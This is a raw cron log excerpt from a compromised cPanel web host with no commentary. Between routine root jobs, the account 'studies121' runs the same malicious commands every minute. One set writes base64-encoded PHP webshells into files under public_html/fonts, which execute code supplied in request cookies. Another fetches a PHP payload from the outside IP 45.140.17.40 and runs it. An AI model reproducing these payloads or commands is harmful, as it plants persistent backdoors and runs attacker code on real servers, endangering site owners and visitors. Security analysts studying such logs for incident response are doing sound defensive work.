Sep 22 02:14:01 ip-184-168-122-23 CROND[26923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:15:01 ip-184-168-122-23 CROND[27003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:15:01 ip-184-168-122-23 CROND[27002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:15:01 ip-184-168-122-23 CROND[27005]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 02:15:01 ip-184-168-122-23 CROND[27007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:15:01 ip-184-168-122-23 CROND[27008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:15:01 ip-184-168-122-23 CROND[27009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:15:01 ip-184-168-122-23 CROND[27011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:16:01 ip-184-168-122-23 CROND[27112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:16:01 ip-184-168-122-23 CROND[27114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:16:01 ip-184-168-122-23 CROND[27115]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:16:01 ip-184-168-122-23 CROND[27119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:16:01 ip-184-168-122-23 CROND[27116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:16:01 ip-184-168-122-23 CROND[27118]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 02:17:01 ip-184-168-122-23 CROND[27227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:17:01 ip-184-168-122-23 CROND[27228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:17:01 ip-184-168-122-23 CROND[27226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:17:01 ip-184-168-122-23 CROND[27229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:18:01 ip-184-168-122-23 CROND[27303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:18:01 ip-184-168-122-23 CROND[27302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:18:01 ip-184-168-122-23 CROND[27304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:18:01 ip-184-168-122-23 CROND[27309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:18:01 ip-184-168-122-23 CROND[27310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:19:01 ip-184-168-122-23 CROND[27479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:19:01 ip-184-168-122-23 CROND[27481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:19:01 ip-184-168-122-23 CROND[27482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:19:01 ip-184-168-122-23 CROND[27483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:20:01 ip-184-168-122-23 CROND[27573]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 02:20:01 ip-184-168-122-23 CROND[27575]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 02:20:01 ip-184-168-122-23 CROND[27577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:20:01 ip-184-168-122-23 CROND[27584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:20:01 ip-184-168-122-23 CROND[27583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:20:01 ip-184-168-122-23 CROND[27589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:20:01 ip-184-168-122-23 CROND[27586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:20:01 ip-184-168-122-23 CROND[27590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:20:01 ip-184-168-122-23 CROND[27588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:21:01 ip-184-168-122-23 CROND[27686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:21:01 ip-184-168-122-23 CROND[27687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:21:01 ip-184-168-122-23 CROND[27692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:21:01 ip-184-168-122-23 CROND[27690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:22:01 ip-184-168-122-23 CROND[27785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:22:01 ip-184-168-122-23 CROND[27786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:22:01 ip-184-168-122-23 CROND[27788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:22:01 ip-184-168-122-23 CROND[27789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:22:01 ip-184-168-122-23 CROND[27791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:23:01 ip-184-168-122-23 CROND[27905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:23:01 ip-184-168-122-23 CROND[27907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:23:01 ip-184-168-122-23 CROND[27904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:23:01 ip-184-168-122-23 CROND[27906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:24:01 ip-184-168-122-23 CROND[28093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:24:01 ip-184-168-122-23 CROND[28094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:24:01 ip-184-168-122-23 CROND[28095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:24:01 ip-184-168-122-23 CROND[28101]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep 22 02:24:01 ip-184-168-122-23 CROND[28100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:24:01 ip-184-168-122-23 CROND[28099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:25:01 ip-184-168-122-23 CROND[28234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:25:02 ip-184-168-122-23 CROND[28235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:25:02 ip-184-168-122-23 CROND[28241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:25:02 ip-184-168-122-23 CROND[28240]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:25:02 ip-184-168-122-23 CROND[28239]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 02:25:02 ip-184-168-122-23 CROND[28237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:25:02 ip-184-168-122-23 CROND[28238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:26:01 ip-184-168-122-23 CROND[28351]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 22 02:26:01 ip-184-168-122-23 CROND[28352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
